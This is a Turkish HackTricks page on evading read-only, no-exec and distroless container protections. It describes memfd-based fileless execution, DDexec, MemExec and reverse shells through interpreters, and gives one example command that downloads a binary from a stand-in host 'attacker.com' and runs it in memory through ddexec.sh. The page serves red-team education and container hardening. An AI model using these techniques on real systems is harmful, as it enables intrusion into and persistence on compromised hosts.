Bypass FS protections: read-only / no-exec / Distroless

Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

  • Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!

  • [Resmi PEASS & HackTricks ürünleri]'ni edinin (https://peass.creator-spring.com)

  • [PEASS Ailesi]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [NFT'lerimiz]'in koleksiyonu

  • Katılın 💬 Discord grubumuza veya telegram grubuna veya bizi Twitter 🐦 @hacktricks_live'da takip edin.

  • Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.

Eğer hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı Lehçe yazılı ve sözlü gereklidir).

Videolar

Aşağıdaki videolarda bu sayfada bahsedilen teknikleri daha detaylı açıklanmış şekilde bulabilirsiniz:

salt okunur / no-exec senaryosu

Özellikle konteynerlerde salt okunur (ro) dosya sistemi koruması ile donatılmış Linux makineleri bulmak artık daha yaygın hale gelmektedir. Bu, salt okunur dosya sistemiyle bir konteyner çalıştırmak için securitycontext içinde readOnlyRootFilesystem: true ayarlamak kadar kolaydır:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

Ancak, dosya sistemi salt okunur olarak bağlanmış olsa bile, /dev/shm hala yazılabilir olacaktır, bu nedenle diske bir şey yazamayacağımızı düşünmek yanıltıcıdır. Bununla birlikte, bu klasör no-exec koruması ile bağlanacaktır, bu nedenle buraya bir ikili dosya indirirseniz onu çalıştıramayacaksınız.

Kırmızı takım bakış açısından, bu, sistemde zaten olmayan ikili dosyaları indirip çalıştırmayı karmaşık hale getirir (örneğin, kubectl gibi arka kapılar veya numaralandırıcılar).

En Kolay Atlatma: Betikler

İkili dosyaları bahsettiğimi unutmayın, yorumlayıcının makinede olması koşuluyla herhangi bir betiği çalıştırabilirsiniz, örneğin sh yüklüyse bir kabuk betiği veya python yüklüyse bir python betiği.

Ancak, bu, ikili geri kapı veya çalıştırmanız gerekebilecek diğer ikili araçları çalıştırmak için yeterli değildir.

Bellek Atlatmaları

Bir ikili dosyayı çalıştırmak istiyorsanız ancak dosya sistemi buna izin vermiyorsa, bunu yapmanın en iyi yolu, bellekten çalıştırmaktır, çünkü korumalar orada geçerli değildir.

FD + exec sistem çağrısı atlatma

Makinede Python, Perl veya Ruby gibi güçlü betik motorlarına sahipseniz, ikili dosyayı bellekten çalıştırmak için indirebilir, onu bir bellek dosya tanımlayıcısında saklayabilirsiniz (create_memfd sistem çağrısı), bu korumalar tarafından korunmayacak ve ardından bir exec sistem çağrısı yaparak fd'yi çalıştırılacak dosya olarak belirtebilirsiniz.

Bunun için kolayca fileless-elf-exec projesini kullanabilirsiniz. Bir ikili dosya iletebilir ve onu b64 kodlanmış ve şifrelenmiş bir şekilde içeren belirtilen dilde bir betik oluşturacak ve create_memfd sistem çağrısını çağırarak oluşturulan bir fd içinde ikili dosyayı depolamak ve onu çalıştırmak için exec sistem çağrısını çağıracaktır.

Bu, PHP veya Node gibi diğer betik dillerinde çalışmaz çünkü bunlar bir betikten ham sistem çağrıları yapmanın varsayılan bir yoluna sahip değillerdir, bu nedenle create_memfd'yi çağırmak için bellek fd'si oluşturmak mümkün değildir.

Ayrıca, /dev/shm içinde bir dosya ile düzenli bir fd oluşturmak çalışmayacaktır, çünkü no-exec koruması uygulanacağından çalıştırmanıza izin verilmeyecektir.

DDexec / EverythingExec

DDexec / EverythingExec, kendi işlemizin /proc/self/mem'ini üzerine yazarak işlemimizin belleğini değiştirmenizi sağlayan bir tekniktir.

Bu nedenle, işlem tarafından yürütülen derleme kodunu kontrol ederek, bir shellcode yazabilir ve işlemi herhangi bir keyfi kodu çalıştırmak üzere "mutasyona uğratabilirsiniz.

DDexec / EverythingExec, kendi shellcode'unuzu veya bellekten herhangi bir ikili dosyayı yüklemenize ve çalıştırmanıza olanak tanır.

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

MemExec

Memexec, DDexec'in doğal bir sonraki adımıdır. Herhangi bir farklı ikili dosyayı çalıştırmak istediğinizde DDexec'i yeniden başlatmanıza gerek kalmaz, sadece memexec shellcode'unu DDexec tekniği aracılığıyla çalıştırabilir ve ardından bu deamon ile iletişim kurarak yeni ikili dosyaları yükleyip çalıştırabilirsiniz.

PHP ters kabuk kullanarak memexec'i nasıl kullanacağınıza dair bir örnek https://github.com/arget13/memexec/blob/main/a.php adresinde bulunabilir.

Memdlopen

DDexec'e benzer bir amaçla, memdlopen tekniği, daha sonra bunları çalıştırmak için belleğe ikili dosyaları yüklemenin daha kolay bir yolunu sağlar. Bağımlılıkları olan ikili dosyaları yüklemeyi bile mümkün kılabilir.

Distroless Atlatma

Distroless nedir

Distroless konteynerler, yalnızca belirli bir uygulamayı veya hizmeti çalıştırmak için gerekli olan en temel bileşenleri içerir; kütüphaneler ve çalışma zamanı bağımlılıkları gibi, ancak bir paket yöneticisi, kabuk veya sistem yardımcı programları gibi daha büyük bileşenleri hariç tutar.

Distroless konteynerlerin amacı, gereksiz bileşenleri ortadan kaldırarak konteynerlerin saldırı yüzeyini azaltmak ve sömürülebilecek güvenlik açıklarının sayısını en aza indirmektir.

Ters Kabuk

Distroless konteynerlerde genellikle düzenli bir kabuk almak için sh veya bash bulamayabilirsiniz. Ayrıca, genellikle bir sistemde çalıştırdığınız ls, whoami, id gibi ikili dosyaları da bulamazsınız.

Bu nedenle, genellikle sistemde yaptığınız gibi bir ters kabuk alamayacak veya sistemde numaralandıramayacaksınız.

Ancak, ele geçirilen bir konteyner örneğinde flask web çalışıyorsa, o zaman python yüklüdür ve dolayısıyla bir Python ters kabuk alabilirsiniz. Node çalışıyorsa, bir Node ters kabuk alabilirsiniz ve aynı şekilde çoğu betik dili ile yapabilirsiniz.

Betik dili kullanarak dilin yeteneklerini kullanarak sistemde numaralandırabilirsiniz.

Eğer read-only/no-exec korumaları yoksa, ters kabuğunuzu kullanarak dosya sistemine ikili dosyalarınızı yazabilir ve çalıştırabilirsiniz.

Ancak, bu tür konteynerlerde genellikle bu korumalar bulunacaktır, ancak bunları atlatmak için önceki bellek yürütme tekniklerini kullanabilirsiniz.

RCE zafiyetlerini kullanarak bazı betik dilleri ile ters kabuk almayı ve bellekten ikili dosyaları çalıştırmayı nasıl istismar edeceğinize dair örnekler https://github.com/carlospolop/DistrolessRCE adresinde bulunabilir.

Eğer hacking kariyeri ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı şekilde yazılı ve konuşulan Lehçe gereklidir).

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

Last updated